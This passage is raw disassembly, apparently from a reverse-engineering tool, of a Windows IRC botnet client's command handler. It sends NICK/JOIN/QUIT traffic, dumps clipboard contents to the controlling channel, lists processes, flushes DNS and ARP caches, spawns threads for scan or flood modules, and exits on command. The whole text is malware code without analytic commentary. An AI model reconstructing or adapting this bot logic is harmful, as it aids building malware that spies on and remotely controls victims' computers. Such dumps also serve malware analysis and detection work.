sub_40B0B3 jmp loc_4091DA ; --------------------------------------------------------------------------- loc_4092DE: ; CODE XREF: sub_406BAB+2706j push esi call dword_42B454 ; gethostbyname cmp eax, ebx jz short loc_4092F9 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_42B45C ; inet_ntoa push eax jmp short loc_4092C7 ; --------------------------------------------------------------------------- loc_4092F9: ; CODE XREF: sub_406BAB+2718j ; sub_406BAB+273Cj push offset dword_41CC78 lea eax, [ebp+var_2E4] loc_409304: ; CODE XREF: sub_406BAB+1F82j push eax call sub_40B0B3 pop ecx pop ecx jmp loc_4091DD ; --------------------------------------------------------------------------- loc_409311: ; CODE XREF: sub_406BAB+124Ej ; sub_406BAB+1263j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_40B110 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_41CC50 push eax call sub_40B0B3 add esp, 18h jmp loc_408A6A ; --------------------------------------------------------------------------- loc_40933A: ; CODE XREF: sub_406BAB+1224j ; sub_406BAB+1239j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_42B358 push [ebp+arg_10] test eax, eax lea eax, [ebp+var_2E4] jz short loc_409364 push offset dword_41CC30 jmp loc_409293 ; --------------------------------------------------------------------------- loc_409364: ; CODE XREF: sub_406BAB+27ADj push offset unk_41CC08 jmp loc_409293 ; --------------------------------------------------------------------------- loc_40936E: ; CODE XREF: sub_406BAB+11FAj ; sub_406BAB+120Fj mov eax, [ebp+arg_10] mov cl, [eax] mov byte_41C0E8, cl movsx eax, byte ptr [eax] push eax push offset unk_41CBE0 jmp loc_409EC0 ; --------------------------------------------------------------------------- loc_409387: ; CODE XREF: sub_406BAB+11D0j ; sub_406BAB+11E5j push [ebp+arg_10] push offset aAll ; "all" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4093C6 call sub_40AC17 cmp eax, ebx jle short loc_4093AE push eax push offset dword_41CBB4 jmp loc_4081E2 ; --------------------------------------------------------------------------- loc_4093AE: ; CODE XREF: sub_406BAB+27F6j push offset dword_41CB88 loc_4093B3: ; CODE XREF: sub_406BAB+18BAj ; sub_406BAB+191Aj lea eax, [ebp+var_2E4] push eax call sub_40B0B3 pop ecx pop ecx jmp loc_4081F1 ; --------------------------------------------------------------------------- loc_4093C6: ; CODE XREF: sub_406BAB+27EDj mov eax, [ebp+var_24] lea edi, [eax+1] jmp short loc_40943A ; --------------------------------------------------------------------------- loc_4093CE: ; CODE XREF: sub_406BAB+2892j mov esi, [ebp+edi*4+var_A4] cmp esi, ebx jz loc_406FF9 push esi call sub_40C3AF push eax call sub_40AB8F pop ecx pop ecx test eax, eax push esi lea eax, [ebp+var_2E4] jz short loc_4093FD push offset dword_41CB64 jmp short loc_409402 ; --------------------------------------------------------------------------- loc_4093FD: ; CODE XREF: sub_406BAB+2849j push offset dword_41CB38 loc_409402: ; CODE XREF: sub_406BAB+2850j push eax call sub_40B0B3 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40942C push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40942C: ; CODE XREF: sub_406BAB+2863j lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx inc edi loc_40943A: ; CODE XREF: sub_406BAB+2821j cmp edi, 20h jb short loc_4093CE jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_409444: ; CODE XREF: sub_406BAB+11A6j ; sub_406BAB+11BBj cmp [ebp+var_C], ebx jz loc_409F32 push [ebp+arg_10] push [ebp+var_C] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz loc_409F32 push eax push offset dword_41AC38 jmp loc_408E70 ; --------------------------------------------------------------------------- loc_40946D: ; CODE XREF: sub_406BAB+117Cj ; sub_406BAB+1191j push [ebp+arg_10] push offset dword_41CEB4 jmp loc_408E70 ; --------------------------------------------------------------------------- loc_40947A: ; CODE XREF: sub_406BAB+1152j ; sub_406BAB+1167j push [ebp+esi+var_9C] push [ebp+arg_10] jmp loc_408EC9 ; --------------------------------------------------------------------------- loc_409489: ; CODE XREF: sub_406BAB+1128j ; sub_406BAB+113Dj push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" jmp loc_408E70 ; --------------------------------------------------------------------------- loc_409496: ; CODE XREF: sub_406BAB+10ECj ; sub_406BAB+1101j mov al, byte_41C102 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_41C102 jz loc_406FF9 mov ecx, edx loc_4094AD: ; CODE XREF: sub_406BAB+290Aj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4094AD cmp al, bl jz loc_406FF9 mov [ebp+arg_18], edx loc_4094C2: ; CODE XREF: sub_406BAB+2BC1j push 7 pop esi push esi call sub_40AC96 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 258h add edx, ecx cmp edx, eax jle short loc_409517 push ecx lea eax, [ebp+var_2E4] push offset unk_41D2C4 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 20h jmp loc_409763 ; --------------------------------------------------------------------------- loc_409517: ; CODE XREF: sub_406BAB+2937j or [ebp+var_300], 0FFFFFFFFh cmp dword_419068, ebx mov [ebp+var_304], 14h mov [ebp+var_318], esi mov [ebp+var_314], eax mov [ebp+arg_0], ebx jz short loc_409580 mov eax, [ebp+arg_18] mov edi, offset dword_419068 lea esi, [eax-0Ah] loc_40954A: ; CODE XREF: sub_406BAB+29B7j lea eax, [edi-28h] push esi push eax call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_409566 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_40954A jmp short loc_409580 ; --------------------------------------------------------------------------- loc_409566: ; CODE XREF: sub_406BAB+29ADj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_419068[ecx] mov [ebp+var_31C], ecx loc_409580: ; CODE XREF: sub_406BAB+2992j ; sub_406BAB+29B9j cmp [ebp+var_31C], ebx jz loc_409789 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_42B37C ; getsockname mov al, [ebp+var_913] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_42B45C ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_40B110 xor eax, eax cmp [ebp+var_913], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_40D3C0 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_409622 loc_409600: ; CODE XREF: sub_406BAB+2A75j cmp eax, ebx jz short loc_409622 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_40D3C0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_409600 loc_409622: ; CODE XREF: sub_406BAB+2A53j ; sub_406BAB+2A57j mov eax, [ebp+arg_4] push [ebp+var_9C] mov esi, [ebp+var_4] mov [ebp+var_320], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_2F4], eax lea eax, [ebp+var_420] push edi push eax mov [ebp+var_2F0], 1 mov [ebp+var_2F8], esi call sub_40BDE7 push offset byte_422270 push offset aPrv_1 ; "#prv##" call sub_40C250 add esp, 14h test eax, eax jz short loc_40968C push offset aPrv_1 ; "#prv##" lea eax, [ebp+var_3A0] push edi push eax call sub_40BDE7 add esp, 0Ch jmp short loc_409692 ; --------------------------------------------------------------------------- loc_40968C: ; CODE XREF: sub_406BAB+2AC8j mov [ebp+var_3A0], bl loc_409692: ; CODE XREF: sub_406BAB+2ADFj cmp [ebp+var_2F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_4096A4 mov eax, offset aSequential ; "Sequential" loc_4096A4: ; CODE XREF: sub_406BAB+2AF2j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2E4] push offset unk_41D1D8 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 7 push eax call sub_40AA54 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_401704 push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_40977F call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41D1A0 push eax call sub_40B0B3 add esp, 0Ch loc_409737: ; CODE XREF: sub_406BAB+2BDCj cmp [ebp+var_8], ebx jnz short loc_409756 push ebx lea eax, [ebp+var_2E4] push esi push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_409756: ; CODE XREF: sub_406BAB+2B8Fj lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx loc_409763: ; CODE XREF: sub_406BAB+2967j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4094C2 jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_409777: ; CODE XREF: sub_406BAB+2BDAj push 32h call dword_417040 ; Sleep loc_40977F: ; CODE XREF: sub_406BAB+2B6Fj cmp [ebp+var_2EC], ebx jz short loc_409777 jmp short loc_409737 ; --------------------------------------------------------------------------- loc_409789: ; CODE XREF: sub_406BAB+29DBj push offset unk_41D28C loc_40978E: ; CODE XREF: sub_406BAB+2C07j lea eax, [ebp+var_2E4] push eax call sub_40B0B3 pop ecx pop ecx jmp loc_408A6A ; --------------------------------------------------------------------------- loc_4097A1: ; CODE XREF: sub_406BAB+10C2j ; sub_406BAB+10D7j push 4 call sub_40AC96 test eax, eax pop ecx jle short loc_4097B4 push offset unk_41CB18 jmp short loc_40978E ; --------------------------------------------------------------------------- loc_4097B4: ; CODE XREF: sub_406BAB+2C00j mov eax, [ebp+esi+var_A0] mov edi, 104h cmp eax, ebx jz short loc_4097D7 push eax lea eax, [ebp+var_7EC] push edi push eax call sub_40BDE7 add esp, 0Ch jmp short loc_4097E6 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_406BAB+2C17j lea eax, [ebp+var_7EC] push edi push eax push ebx call dword_41704C ; GetModuleFileNameA loc_4097E6: ; CODE XREF: sub_406BAB+2C2Aj mov esi, [ebp+esi+var_9C] cmp esi, ebx jnz short loc_4097F6 mov esi, offset byte_41C1A0 loc_4097F6: ; CODE XREF: sub_406BAB+2C44j push esi lea eax, [ebp+var_6E8] push edi push eax call sub_40BDE7 mov eax, dword_41C0D8 push 7Fh push [ebp+var_9C] mov [ebp+var_5DC], eax mov eax, [ebp+arg_4] mov [ebp+var_5E0], ebx mov [ebp+var_7F0], eax lea eax, [ebp+var_5D8] push eax call sub_40B110 mov eax, [ebp+var_4] mov [ebp+var_558], eax mov eax, [ebp+var_8] mov [ebp+var_554], eax lea eax, [ebp+var_6E8] push eax lea eax, [ebp+var_7EC] push eax lea eax, [ebp+var_2E4] push [ebp+var_5DC] push offset unk_419458 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 4 push eax call sub_40AA54 add esp, 38h mov [ebp+var_5E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_40A573 push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_5E4] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_4098C9 call dword_417044 ; RtlGetLastWin32Error push eax push offset unk_41CADC jmp loc_409EC0 ; --------------------------------------------------------------------------- loc_4098C1: ; CODE XREF: sub_406BAB+2D24j push 32h call dword_417040 ; Sleep loc_4098C9: ; CODE XREF: sub_406BAB+2D03j cmp [ebp+var_550], ebx jz short loc_4098C1 jmp loc_408A6A ; --------------------------------------------------------------------------- loc_4098D6: ; CODE XREF: sub_406BAB+1098j ; sub_406BAB+10ADj mov esi, [ebp+esi+var_A0] cmp esi, ebx jz short loc_4098E9 push esi call sub_40C3AF jmp short loc_4098F0 ; --------------------------------------------------------------------------- loc_4098E9: ; CODE XREF: sub_406BAB+2D34j push 7 call sub_40ACB5 loc_4098F0: ; CODE XREF: sub_406BAB+2D3Cj cmp eax, ebx pop ecx jz loc_409F32 push eax push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4010CA loc_40990B: ; CODE XREF: sub_406BAB+232Bj add esp, 10h jmp loc_409F32 ; --------------------------------------------------------------------------- loc_409913: ; CODE XREF: sub_406BAB+106Ej ; sub_406BAB+1083j mov eax, dword_42B310 cmp eax, ebx jz short loc_409936 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2E4] jz short loc_40992F push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_40995E ; --------------------------------------------------------------------------- loc_40992F: ; CODE XREF: sub_406BAB+2D7Bj push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_40995E ; --------------------------------------------------------------------------- loc_409936: ; CODE XREF: sub_406BAB+2D6Fj push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." lea eax, [ebp+var_2E4] jmp short loc_40995E ; --------------------------------------------------------------------------- loc_409943: ; CODE XREF: sub_406BAB+1044j ; sub_406BAB+1059j call sub_405687 test eax, eax lea eax, [ebp+var_2E4] jz short loc_409959 push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed." jmp short loc_40995E ; --------------------------------------------------------------------------- loc_409959: ; CODE XREF: sub_406BAB+2DA5j push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." loc_40995E: ; CODE XREF: sub_406BAB+2D82j ; sub_406BAB+2D89j ... push 200h push eax call sub_40BDE7 jmp loc_409299 ; --------------------------------------------------------------------------- loc_40996E: ; CODE XREF: sub_406BAB+101Aj ; sub_406BAB+102Fj cmp [ebp+var_8], ebx jnz short loc_40998D push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_40998D: ; CODE XREF: sub_406BAB+2DC6j push ebx push [ebp+var_4] call sub_405344 push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 push offset dword_41C9F0 call sub_403145 add esp, 18h jmp loc_409F32 ; --------------------------------------------------------------------------- loc_4099B7: ; CODE XREF: sub_406BAB+F69j ; sub_406BAB+F7Ej push [ebp+esi+var_A0] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_403B00 loc_4099CF: ; CODE XREF: sub_406BAB+3A2j add esp, 10h jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_4099D7: ; CODE XREF: sub_406BAB+F3Fj ; sub_406BAB+F54j or edi, 0FFFFFFFFh call dword_41705C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_A0] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_409A00 push esi call sub_40C3AF pop ecx mov edi, eax loc_409A00: ; CODE XREF: sub_406BAB+2E4Aj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_409A19 cmp edi, 0FFFFFFFFh jnz loc_409F32 loc_409A19: ; CODE XREF: sub_406BAB+2E63j push ebx call sub_40A0F0 push eax lea eax, [ebp+var_2E4] push offset dword_41C9D4 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 lea eax, [ebp+var_2E4] push eax call sub_403145 add esp, 28h jmp loc_409F32 ; --------------------------------------------------------------------------- loc_409A5E: ; CODE XREF: sub_406BAB+F15j ; sub_406BAB+F2Aj push 1Ch call sub_40AC96 test eax, eax pop ecx jle short loc_409A81 cmp [ebp+var_8], ebx jnz loc_406FF9 push ebx push [ebp+var_4] push offset unk_41C9B4 jmp loc_40A094 ; --------------------------------------------------------------------------- loc_409A81: ; CODE XREF: sub_406BAB+2EBDj push [ebp+var_9C] lea eax, [ebp+var_4C4] push 80h push eax call sub_40BDE7 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_A0] mov [ebp+var_4C8], eax mov eax, [ebp+var_4] mov [ebp+var_43C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_438], eax mov [ebp+var_440], ebx jz short loc_409AE2 push esi push offset aFull ; "full" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_409AE2 mov [ebp+var_440], 1 loc_409AE2: ; CODE XREF: sub_406BAB+2F1Aj ; sub_406BAB+2F2Bj lea eax, [ebp+var_2E4] push offset dword_41C98C push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 1Ch push eax call sub_40AA54 add esp, 14h mov [ebp+var_444], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4C8] push ebx push eax push offset sub_4059C3 push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_444] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_409B6F call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41C950 push eax call sub_40B0B3 add esp, 0Ch loc_409B55: ; CODE XREF: sub_406BAB+1649j ; sub_406BAB+166Bj ... lea eax, [ebp+var_2E4] push eax call sub_403145 pop ecx jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_409B67: ; CODE XREF: sub_406BAB+2FCAj push 32h call dword_417040 ; Sleep loc_409B6F: ; CODE XREF: sub_406BAB+2F8Dj cmp [ebp+var_434], ebx jz short loc_409B67 jmp short loc_409B55 ; --------------------------------------------------------------------------- loc_409B79: ; CODE XREF: sub_406BAB+EEBj ; sub_406BAB+F00j cmp [ebp+var_8], ebx jnz short loc_409B98 push ebx push [ebp+var_4] push offset dword_41C934 push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_409B98: ; CODE XREF: sub_406BAB+2FD1j push [ebp+arg_4] call dword_42B468 ; closesocket call dword_42B344 ; WSACleanup call sub_4054C7 push ebx call dword_41706C ; ExitProcess loc_409BB3: ; CODE XREF: sub_406BAB+EC1j ; sub_406BAB+ED6j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40A1F9 pop ecx pop ecx jmp short loc_409BE3 ; --------------------------------------------------------------------------- loc_409BCA: ; CODE XREF: sub_406BAB+E97j ; sub_406BAB+EACj push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40A4AD add esp, 0Ch loc_409BE3: ; CODE XREF: sub_406BAB+301Dj push eax push [ebp+var_9C] loc_409BEA: ; CODE XREF: sub_406BAB+23CCj push [ebp+arg_4] call sub_404555 add esp, 14h jmp loc_409F32 ; --------------------------------------------------------------------------- loc_409BFA: ; CODE XREF: sub_406BAB+E6Dj ; sub_406BAB+E82j push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4030CD jmp loc_409DF9 ; --------------------------------------------------------------------------- loc_409C10: ; CODE XREF: sub_406BAB+E43j ; sub_406BAB+E58j push [ebp+var_9C] lea eax, [ebp+var_4C4] push 80h push eax call sub_40BDE7 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_A0] mov [ebp+var_4C8], eax mov eax, [ebp+var_4] mov [ebp+var_43C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_438], eax jz short loc_409C6A push offset dword_41C930 push esi call sub_40C250 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_440], eax jmp short loc_409C70 ; --------------------------------------------------------------------------- loc_409C6A: ; CODE XREF: sub_406BAB+30A3j mov [ebp+var_440], ebx loc_409C70: ; CODE XREF: sub_406BAB+30BDj lea eax, [ebp+var_2E4] push offset dword_41C910 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push 1Dh push eax call sub_40AA54 add esp, 14h mov [ebp+var_444], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4C8] push ebx push eax push offset sub_40AABF push ebx push ebx call dword_417048 ; CreateThread mov ecx, [ebp+var_444] imul ecx, 234h cmp eax, ebx mov dword_42CF74[ecx], eax jnz short loc_409CF0 call dword_417044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset dword_41C8D4 push eax call sub_40B0B3 add esp, 0Ch jmp loc_4091FE ; --------------------------------------------------------------------------- loc_409CE8: ; CODE XREF: sub_406BAB+314Bj push 32h call dword_417040 ; Sleep loc_409CF0: ; CODE XREF: sub_406BAB+311Bj cmp [ebp+var_434], ebx jz short loc_409CE8 jmp loc_4091FE ; --------------------------------------------------------------------------- loc_409CFD: ; CODE XREF: sub_406BAB+DC7j ; sub_406BAB+DDCj push offset aKtsFinally ; "KTS-Finally" lea eax, [ebp+var_2E4] push offset dword_41C8B8 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 20h jmp loc_4091FE ; --------------------------------------------------------------------------- loc_409D34: ; CODE XREF: sub_406BAB+D9Dj ; sub_406BAB+DB2j push dword_47F740 call sub_40A0F0 push eax lea eax, [ebp+var_2E4] push offset unk_41C888 push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 24h jmp loc_4091FE ; --------------------------------------------------------------------------- loc_409D72: ; CODE XREF: sub_406BAB+D73j ; sub_406BAB+D88j mov esi, [ebp+esi+var_A0] cmp esi, ebx jz short loc_409DA4 cmp [ebp+var_C], ebx jz short loc_409DB3 push esi push [ebp+var_C] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz short loc_409DB3 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40450F add esp, 0Ch jmp short loc_409DB3 ; --------------------------------------------------------------------------- loc_409DA4: ; CODE XREF: sub_406BAB+31D0j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40450F pop ecx pop ecx loc_409DB3: ; CODE XREF: sub_406BAB+31D5j ; sub_406BAB+31E4j ... push 0FFFFFFFEh pop eax jmp loc_406FFC ; --------------------------------------------------------------------------- loc_409DBB: ; CODE XREF: sub_406BAB+D49j ; sub_406BAB+D5Ej push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40450F pop ecx or eax, 0FFFFFFFFh pop ecx jmp loc_406FFC ; --------------------------------------------------------------------------- loc_409DD2: ; CODE XREF: sub_406BAB+D1Fj ; sub_406BAB+D34j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40450F pop ecx xor eax, eax pop ecx jmp loc_406FFC ; --------------------------------------------------------------------------- loc_409DE8: ; CODE XREF: sub_406BAB+CF5j ; sub_406BAB+D0Aj push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401000 loc_409DF9: ; CODE XREF: sub_406BAB+22CDj ; sub_406BAB+3060j add esp, 0Ch jmp loc_409F32 ; --------------------------------------------------------------------------- loc_409E01: ; CODE XREF: sub_406BAB+C79j ; sub_406BAB+C8Ej push [ebp+esi+var_A0] push 1Ch push offset aProcessList ; "Process list" push offset aProc ; "PROC " loc_409E14: ; CODE XREF: sub_406BAB+C13j ; sub_406BAB+C3Cj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_40ACDC add esp, 20h jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: sub_406BAB+BD4j ; sub_406BAB+BE9j mov esi, [ebp+esi+var_A0] cmp esi, ebx jz short loc_409E83 push esi call sub_40C3AF cmp eax, ebx pop ecx jl short loc_409E7B cmp eax, 2 jge short loc_409E7B mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_409E73 lea eax, [esi+1] push eax lea eax, [ebp+var_2E4] push offset unk_41D888 push eax call sub_40B0B3 mov [esi], bl jmp short loc_409ECC ; --------------------------------------------------------------------------- loc_409E73: ; CODE XREF: sub_406BAB+32ADj push eax push offset unk_41C7F4 jmp short loc_409EC0 ; --------------------------------------------------------------------------- loc_409E7B: ; CODE XREF: sub_406BAB+3299j ; sub_406BAB+329Ej push eax push offset unk_41C7C4 jmp short loc_409EC0 ; --------------------------------------------------------------------------- loc_409E83: ; CODE XREF: sub_406BAB+328Ej mov edi, [ebp+arg_18] xor esi, esi loc_409E88: ; CODE XREF: sub_406BAB+32F9j push [ebp+var_A4] push edi call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_409EAB inc esi add edi, 80h cmp esi, 2 jl short loc_409E88 jmp loc_408A6A ; --------------------------------------------------------------------------- loc_409EAB: ; CODE XREF: sub_406BAB+32EDj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C8] push eax push offset unk_41D888 loc_409EC0: ; CODE XREF: sub_406BAB+27D7j ; sub_406BAB+2D11j ... lea eax, [ebp+var_2E4] push eax call sub_40B0B3 loc_409ECC: ; CODE XREF: sub_406BAB+32C6j add esp, 0Ch jmp loc_408A6A ; --------------------------------------------------------------------------- loc_409ED4: ; CODE XREF: sub_406BAB+BAAj ; sub_406BAB+BBFj push [ebp+var_A0] push offset dword_41D834 call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_409F32 call sub_40AC17 push ebx call dword_41706C ; ExitProcess loc_409EF6: ; CODE XREF: sub_406BAB+B80j ; sub_406BAB+B95j push [ebp+esi+var_A0] xor eax, eax cmp [ebp+var_904], bl setnz al push eax lea eax, [ebp+var_54C] push dword_41C0F0 push eax call sub_4061FA lea eax, [ebp+var_54C] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 1Ch loc_409F32: ; CODE XREF: sub_406BAB+60Fj ; sub_406BAB+61Bj ... mov eax, [ebp+arg_24] jmp loc_406FFC ; --------------------------------------------------------------------------- loc_409F3A: ; CODE XREF: sub_406BAB+69Cj ; sub_406BAB+6B1j mov esi, [ebp+esi+var_A0] cmp esi, ebx mov [ebp+arg_10], esi jz loc_406FF9 cmp [ebp+var_A8], ebx jnz loc_406FF9 push offset asc_41D8F8 ; "!" push [ebp+var_A4] call sub_40D07C mov esi, eax push offset dword_42226C push ebx inc esi call sub_40D07C push offset asc_41C7C0 ; "~" push eax call sub_40D07C push [ebp+arg_10] mov edi, eax push offset aSock ; "sock" call sub_40C250 add esp, 20h test eax, eax jz short loc_409FE2 lea eax, [ebp+var_C8] push edi push eax lea eax, [ebp+var_C8] push eax push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n" push [ebp+arg_4] call sub_40450F lea eax, [ebp+var_C8] push eax push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n" push [ebp+arg_4] call sub_40450F push edi push esi push offset unk_41C758 loc_409FCE: ; CODE XREF: sub_406BAB+3490j lea eax, [ebp+var_2E4] push eax call sub_40B0B3 add esp, 30h jmp loc_408A8B ; --------------------------------------------------------------------------- loc_409FE2: ; CODE XREF: sub_406BAB+33EAj mov [ebp+arg_24], ebx loc_409FE5: ; CODE XREF: sub_406BAB+3457j mov eax, [ebp+arg_24] push edi push off_41C200[eax] call sub_40ADA7 pop ecx test eax, eax pop ecx jnz short loc_40A03D add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_409FE5 lea eax, [ebp+var_C8] push edi push eax lea eax, [ebp+var_C8] push eax push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n" push [ebp+arg_4] call sub_40450F lea eax, [ebp+var_C8] push eax push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n" push [ebp+arg_4] call sub_40450F push edi push esi push offset unk_41C728 jmp short loc_409FCE ; --------------------------------------------------------------------------- loc_40A03D: ; CODE XREF: sub_406BAB+344Dj mov edi, [ebp+arg_18] xor esi, esi loc_40A042: ; CODE XREF: sub_406BAB+34B8j cmp [edi], bl jnz short loc_40A059 push [ebp+arg_10] push offset aSock ; "sock" call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_40A06A loc_40A059: ; CODE XREF: sub_406BAB+3499j inc esi add edi, 80h cmp esi, 2 jl short loc_40A042 jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_40A06A: ; CODE XREF: sub_406BAB+34ACj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_874] push 7Fh push eax push esi call sub_40B110 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406FF9 push ebx push [ebp+var_4] push offset unk_41C704 loc_40A094: ; CODE XREF: sub_406BAB+2ED1j push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_40A0AA: ; CODE XREF: sub_406BAB+1F9j ; sub_406BAB+20Ej push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40450F push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40450F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 2Ch mov dword_47F8B0, edi 